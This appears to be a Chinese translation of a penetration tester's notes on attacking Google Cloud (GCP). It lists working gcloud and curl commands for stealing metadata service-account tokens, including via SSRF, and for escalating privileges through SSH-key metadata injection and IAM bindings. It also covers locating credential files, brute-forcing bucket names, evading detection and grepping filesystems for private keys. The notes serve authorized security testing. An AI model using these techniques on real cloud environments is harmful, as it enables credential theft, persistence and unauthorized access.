- 已编辑
GCP 基础知识
gcloud
可以通过附加--log-http
到命令找到给定命令的原始 HTTP API 调用
递归枚举实例的元数据:
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
您可能会在元数据中找到一些有趣的信息,包括 SSH 私钥
GCP 使用资源层次结构
类似于传统的文件系统结构:
Organization --> Folders --> Projects --> Resources
因此,如果用户对组织具有特定权限,则该权限会传播到文件夹、项目和资源
服务帐户
- 每个 GCP 项目都有一个默认服务帐户
- 该服务帐户也被分配给在该项目中创建的任何资源
默认服务帐户如下所示:
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
自定义服务帐户如下所示:
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
访问范围
- 可以通过查询
169.254.169.254
IP 查看服务帐户的访问范围,如下例所示:
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
-H 'Metadata-Flavor:Google'
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
devstorage.read_only
默认范围允许对指定项目中的所有存储桶进行读取访问不应将访问范围作为服务帐户权限的边界
当cloud-platform为实例指定时,服务帐户可以尝试对所有 API 端点进行身份验证
- 如果存储帐户的权限允许,则此身份验证将成功
即使服务帐户可能有权访问某个 API 端点,如果访问范围不允许该端点,则无法成功进行身份验证
IAM
原始角色
Owner
,Editor
和Viewer
!!!! 每个项目中的默认服务帐户都被赋予了
Editor
角色(不安全!!)
预定义角色
- 由 Google 管理的角色(例如
compute.instanceAdmin
)
自定义角色
- 使管理员能够为角色创建自己的权限集
要查看分配给项目每个成员的角色:
gcloud projects get-iam-policy <PROJECT_ID>
枚举
| 命令 | 描述 |
| :-----------------------------------: | :------------------: |
| gcloud organizations list
| 获取组织 ID |
| gcloud organizations get-iam-policy
| 查看组织内的用户权限 |
- 请注意,组织内的权限适用于组织内的所有项目,因此适用于该项目内的所有资源,等等。
应用程序默认凭据
服务帐户令牌
可以从元数据服务中检索令牌:
请求
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
响应
{
"access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
"expires_in":3599,
"token_type":"Bearer"
}
应用程序默认凭据
- 从元数据服务中提取令牌的替代方法
- 在实现 Google 的官方 GCP 客户端库之一时使用此方法
以下是使用 GCP 客户端库时搜索凭据所采取的步骤:
代码将检查源代码
a. 检查服务帐户密钥文件
检查 GOOGLE_APPLICATION_CREDENTIALS环境变量
a. 此环境变量可以设置为服务帐户密钥文件的位置
使用元数据服务中的默认令牌。
仅当未找到 1 或 2 时才使用元数据服务中的默认令牌,因为元数据服务令牌被限制在访问范围内并且是临时的
权限提升
始终确保检查是否在整个环境中应用了最小权限原则
SSRF
下面描述的 privesc 技术是从内部访问受感染实例的角度编写的。但是,如果您在某些情况下发现 SSRF,也可以执行它们。
不安全的元数据端点
如果客户端已/v1beta
启用,您可以获得没有特殊标头的访问令牌:
curl http://metadata.google.internal/computeMetadata/v1beta/instance/service-accounts/default/token
否则,您必须http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
使用自定义标头集进行查询
- 注意授权令牌默认在 1 小时内过期
计算实例
一般情况
- 仅仅因为访问范围阻止了某个命令,并不意味着该命令的任何变体都不能运行
- 例如,如果
gsutil ls
没有返回存储桶,您仍然可以通过指定存储桶的名称来查询存储桶gsutil ls gs://storage_bucket_example-1234567
- 例如,如果
枚举以下区域中的脚本:
1.实例元数据
2.本地文件系统
3.服务单位档案
4.等等
- 脚本有助于说明实例的用途以及它可以访问的内容
修改实例元数据
默认服务帐户
为默认服务帐户提供以下访问范围:
允许默认访问(默认)
允许完全访问所有 Cloud API
为每个 API 设置访问权限
如果启用了 3(具有计算 API 访问权限)或 2,则可能有 privesc
客户服务帐户
- Google 不鼓励对自定义服务帐户使用访问范围
privesc 所需的以下权限之一:
compute.instances.setMetadata
compute.projects.setCommonInstanceMetadata
必须能够验证https://www.googleapis.com/auth/compute
或https://www.googleapis.com/auth/cloud-platform
将 SSH 密钥添加到元数据
- Linux GCP 系统通常在 Compute Engine 脚本中运行 Python Linux Guest Environment
- 帐户守护进程查询元数据以更改授权的 SSH 密钥,并将新密钥添加到现有用户或具有
sudo
权限的用户 - 如果可以修改自定义项目元数据,则在 GCP 项目内运行
Block project-wide SSH keys
启用帐户守护程序选项的所有系统上建立持久性
- 帐户守护进程查询元数据以更改授权的 SSH 密钥,并将新密钥添加到现有用户或具有
将 SSH 密钥添加到现有权限用户
gcluod compute instance describe <INSTANCE> --zone <ZONE>
这将返回如下内容:
[...]
- key: ssh-keys
value: |-
high-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ high-priv-user
low-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbk[...]
创建密钥
high-priv-user
a.
ssh-keygen -t rsa -C "high-priv-user" -f ./key -P ""
2.编辑公钥,使其与
high-priv-user
公钥文件的格式相匹配3.将新密钥添加到实例元数据
a.gcloud compute instances add-metadata <INSTANCE> --metadata-from-file ssh-keys=ssh_public_file.txt
使用 SSH 密钥创建新用户
可以使用相同的过程 (1-3),但是应该指定一个新的用户名
这给了新用户
sudo
权限
Sudo 到现有会话
使用以下命令生成新的 SSH 密钥,将您当前的用户名添加到google-sudoers
组中,并启动 SSH 会话:
gcloud compute ssh <INSTANCE_NAME>
请注意,与上述手动逐步过程相比,这可能会导致对目标实例元数据的更改更多
这使用您当前的用户名
OS登录
将 Google 用户或服务帐户链接到 Linux 身份
IAM 权限指示此请求的授权
使用元数据密钥在项目或实例级别启用
enable-oslogin = TRUE
启用 2FA 操作系统登录
enable-oslogin-2fa = TRUE
``` roles/compute.osLogin 和 roles/compute.osAdminLogin ```
控制对启用操作系统登录的实例的 SSH 访问
请注意,前者没有 sudo 访问权限,而后者具有 sudo 访问权限
通过将一个人的 SSH 密钥添加到项目元数据中,只要实例没有
Block pojrect-wide SSH keys 启用该选项,就可以访问所有实例:
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=my_public_ssh-key.txt
绕过访问范围
访问范围不是安全机制(谷歌自己声明)
查找令牌访问范围
TOKEN='gcloud auth print-access-token'
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
访问范围“在发出未通过 OAuth 验证的请求时无效”
搜索 RSA 私钥以向 Google Cloud API 进行身份验证并请求新的 OAuth 令牌
gcloud auth activate-service-account --key-file <FILE>
使用导出的密钥文件检查服务帐户
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
服务帐户密钥文件的默认名称是
<PROJECT_ID>-<PORTION_OF_KEY_ID>.json
如果访问范围过于严格,请检查是否有另一个更宽松的实例
gcloud compute instances list --quiet
检查实例是否具有默认服务帐户 (
PROJECT_NUMBER-compute@developer.gserviceaccount.com
)
窃取 GCloud 授权
- 查找以下文件:
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json
服务帐户模拟
模拟服务帐户的三种方法:
使用 RSA 私钥进行身份验证
使用 Cloud IAM 政策进行授权
在 GCP 服务上部署作业
可能会冒充另一个具有
iam.serviceAccountTokenCreator
权限的帐户如果你有
Owner
访问权限,你可以尝试登录到网络界面
服务账户无法访问网页界面,但您可以提供
Editor
对任意@gmail.com
账户的访问权限,然后登录(无法提供Owner
访问权限)gcloud projects add-iam-policy-binding <PROJECT> --member user:0xd4y@gmail.com --role roles/editor
您可以使用
--impersonate-service-account
标志使用指定的服务帐户执行命令:
例如:
gcloud compute instances list --impersonate-service-account <SERVICE_ACCOUNT>
访问数据库
检查存储桶中的数据库备份,当然还要检查实例中的其他有用信息
有些 gcloud 命令专门用于导出数据
- 下载之前需要先将数据库写入存储桶
跨项目查找数据库
Cloud SQL
=============
gcloud sql instances list
gcloud sql databases list --instance [INSTANCE]
Cloud Spanner
==============
gcloud spanner instances list
gcloud spanner databases list --instance [INSTANCE]
Cloud Bigtable
==============
gcloud bigtable instances list
存储桶
请注意,默认实例权限允许读取存储桶
可以在单词列表、源代码等中找到。
用于
gsutil
与存储桶交互如果
gsutil ls
返回拒绝访问,则仍然有可能访问存储桶,但需要指定存储桶名称
用于暴力破解桶名称的 Bash Oneliner
for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done
解密密钥
存储在 Cloud KMS(密钥管理服务)中的加密密钥
存储在钥匙圈中的单独钥匙
枚举
- 如果没有 GCloud 枚举权限,请尝试在文档、脚本和 bash 历史记录中搜索密钥
| 命令 | 描述 |
| ------------------------------------------------------------ | -------------------- |
| gcloud kms keyrings list --location global
| 列出可用的全局密钥环 |
| gcloud kms keys list --keyring <KEYRING_NAME> --location global
| 列出密钥环内的密钥 |
| gcloud kms decrypt --ciphertext-file=<INFILE> --plaintext-file=<OUTFILE> --key <KEY> --keyring <KEYRING> --location global
| 使用密钥解密文件 |
串行控制台日志
- 从操作系统和 BIOS 写入串行端口的计算实例的输出
从串口查看日志文件的两种方式:
通过计算 API
Compute: Read Only
即使有访问范围限制也可以执行gcloud compute instances get-serial-port-output <INSTANCE_NAME> --port <PORT> --start start --zone <ZONE>
通过云日志
如果管理员启用,则存储在 Cloud Logging 中的串行日志
可以使用日志记录读取权限访问
自定义图像
- 一些图像可能包含敏感信息,您可以泄露这些信息并将其用于新的 VM
查找自定义图像列表
gcloud compute images list --no-standard-images
导出图像
gcloud compute images export --image <IMAGE_NAME> --export-format qcow2 --destination-uri <BUCKET>
自定义模板
- 实例模板允许部署具有特定配置的虚拟机
- 这些配置可以告诉 VM 使用哪个映像、启动脚本、标签等。
| 命令 | 描述 |
| :----------------------------------------------------------: | :--------------------: |
| gcloud compute instance-templates list
| 列出可用模板 |
| gcloud compute instance-templates describe <TEMPLATE_NAME>
| 获取特定模板的详细信息 |
- 模板可以包含可以通过实例元数据发现的敏感数据
StackDriver 日志记录
StackDriver 是 Google 的监控和日志记录服务
- Google 相当于 AWS CloudWatch 和 CloudTrail
计算实例需要
write
访问才能写入日志文件,但是如果read
还授予了权限,则可以读取日志
| 命令 | 描述 |
| :-------------------------------------------: | :--------------------------------------------------: |
| gcloud logging logs list
| 列出当前项目中的日志文件夹 |
| gcloud logging read <LOG_FOLDER>
| 读取特定日志文件夹的内容 |
| gcloud logging write <LOG_FOLDER> <MESSAGE>
| 将任意数据写入特定的日志文件夹。可以用来分散注意力。 |
Serverless Services
Cloud Function
相当于 AWS Lambda
环境变量可以包含密钥,就像在 AWS 中一样
| 命令 | 描述 |
| :------------------------------------------: | :--------------------------: |
| gcloud functions list
| 列出可用的云功能 |
| gcloud functions describe <FUNCTION_NAME>
| 显示功能配置和定义的环境变量 |
| gcloud functions logs read <FUNCTION_NAME>
| 获取函数执行的日志 |
APP Engine
Google App Engine 是一个专注于可扩展性的无服务器云计算平台
密钥可以存储在环境变量中
| 命令 | 描述 |
| ---------------------------- | ------------------------------------------ |
|gcloud app versions list
| 列出 App Engine 服务器中所有服务的现有版本 |
|gcloud app describe <APP>
| 显示有关特定应用程序的信息 |
Cloud Run
检查环境变量的密钥
在端口 8080 上打开 Web 服务器并等待 HTTP GET 请求
- 收到这样的请求后,将执行一个作业,该作业将通过 HTTP 响应进行记录和输出
在 Kubernetes 集群中运行的作业要么由 Google 完全管理,要么由
Anthos部分管理
可以配置 IAM 权限来控制哪些身份可以启动作业
可以配置为未经身份验证,允许任何拥有 URL 的人触发作业并查看日志输出
请注意这些工作的作用,因为它可能会影响生产!
| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud run services list --platform=managed --format=json
gcloud run services list --platform=gke --format=json
| 列出可用平台上的服务 |
| 1. curl <URL>
2.curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <URL>
| 1. 尝试以未经身份验证的用户身份触发作业 2. 以经过身份验证的用户身份触发作业 |
AI Platform
- 寻找model和job
| 命令 | 描述 |
| :---------------------------------------------: | :-------: |
| gcloud ai-platforms models list --format=json
| 列出model |
| gcloud ai-platform jobs list --format=json
| 列出job |
Cloud Pub/Sub
- 允许应用程序相互发送消息的服务
Pub/Sub 由以下部分组成:
主题 - 消息的逻辑组
订阅 - 允许应用程序接收与主题相关的消息流,可以通过推送通知(对于某些 Google 服务)或拉取请求(对于自定义服务)启用
消息 - 数据(也可以选择元数据)
| 命令 | 描述 |
| ------------------------------------------------------ | -------------------------- |
| gcloud pubsub topics list
| 列出项目中的主题 |
| gcloud pubsub subscrpitions list --format=json
| 列出所有主题的订阅 |
| gcloud pubsub subscriptions pull <SUBSCRIPTION_NAME>
| 从订阅中提取一条或多条消息 |
消息的修改可以改变应用程序的行为,具体取决于应用程序与消息的交互方式
pull 命令可用于模仿有效的应用程序
可以请求一些尚未传递的消息
此命令不应发回 ACK,也不应影响其他应用
攻击者可以在应用程序收到消息之前确认消息以避免某些检测
请求大量数据可能会影响应用程序(小心!)
Cloud Source Repos
像 Git 这样设计
可以包含多汁的信息
| 命令 | 描述 |
| :-------------------------------------: | :----------: |
| gcloud source repos list
| 枚举可用的库 |
| gcloud source repos clone <REPO_NAME>
| 克隆一个回购 |
Cloud Filestore
专为存储小文档而设计的数据库
像 AWS DynamoDB
可以挂载文件存储
列出文件存储实例
gcloud filestore instances list --format=json
Kubernetes
- 用于扩展、管理和软件部署的容器服务
| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud container clusters list
| 列出当前项目中的容器集群 |
| gcloud container clusters get-credentials <CLUSTER_NAME> --region <REGION>
| 验证您的~/..kube/config
文件以包含集群,以便您可以使用kubectl
. |
| kubectl cluster-info
| 获取有关集群的信息。 |
Kubectl 备忘单:https ://kubernetes.io/docs/reference/kubectl/cheatsheet/
密钥管理
- 存储密码、API 密钥、证书等。
| 命令 | 描述 |
| :---------------------------------: | :----------: |
| gcloud secrets list
| 列出密钥 |
| gcloud secrets describe <SECRET>
| 获取密钥内容 |
本地系统密钥
- 通过内部访问系统搜索临时目录、历史文件、环境变量、脚本等。
TARGET_DIR="/path/to/whatever"
# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
"$TARGET_DIR"
# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
"$TARGET_DIR"
# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
"$TARGET_DIR"
# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
"$TARGET_DIR"
# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
"$TARGET_DIR"
# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
"$TARGET_DIR"
# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
网络
防火墙
- 每个项目都有一个默认 VPC,其中包含适用于所有实例的以下规则:
default-allow-internal
- 允许来自同一网络上其他实例的所有流量default-allow-ssh
- 允许来自任何地方的端口 22 流量default-allow-rdp
- 允许来自任何地方的端口 3389 流量default-allow-icmp
- 允许从任何地方 ping
枚举
查看当前项目中的所有子网:
gcloud compute networks subnets list
查看项目中所有内/外IP地址:
gcloud compute instances list
查看所有实例开放的端口
从实例中运行 nmap 可以触发警报
- 如果扫描当前项目之外的公共 IP 地址,触发的可能性会增加
可能存在可被利用以实现提升访问权限的不安全应用程序
端口枚举应该通过查看防火墙规则、网络标记、服务帐户和 VPC 中的实例来解释(请参阅gcp_firewall_enum)
G Suite
使用与 Google Cloud 完全不同的 API
GCP 服务帐户可以使用全域授权访问 G Suite 数据
- 可以通过 IAM → 服务帐户在 Web 界面中查看
向 G Suite 进行身份验证
需要以 JSON 格式导出服务帐户凭据
服务帐户无法向 G Suite 进行身份验证,因此您需要模拟有效的 G Suite 用户
工具
- 暴露在互联网上的计算实例的端口扫描
- 充满枚举命令的脚本
一组用于攻击 GCP 环境的工具
包含用于列出用户目录和创建新管理员帐户的 gcp_delegation
原文链接:https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/#dfd7ccbc-957f-400d-97ae-9a8fce7b3b0b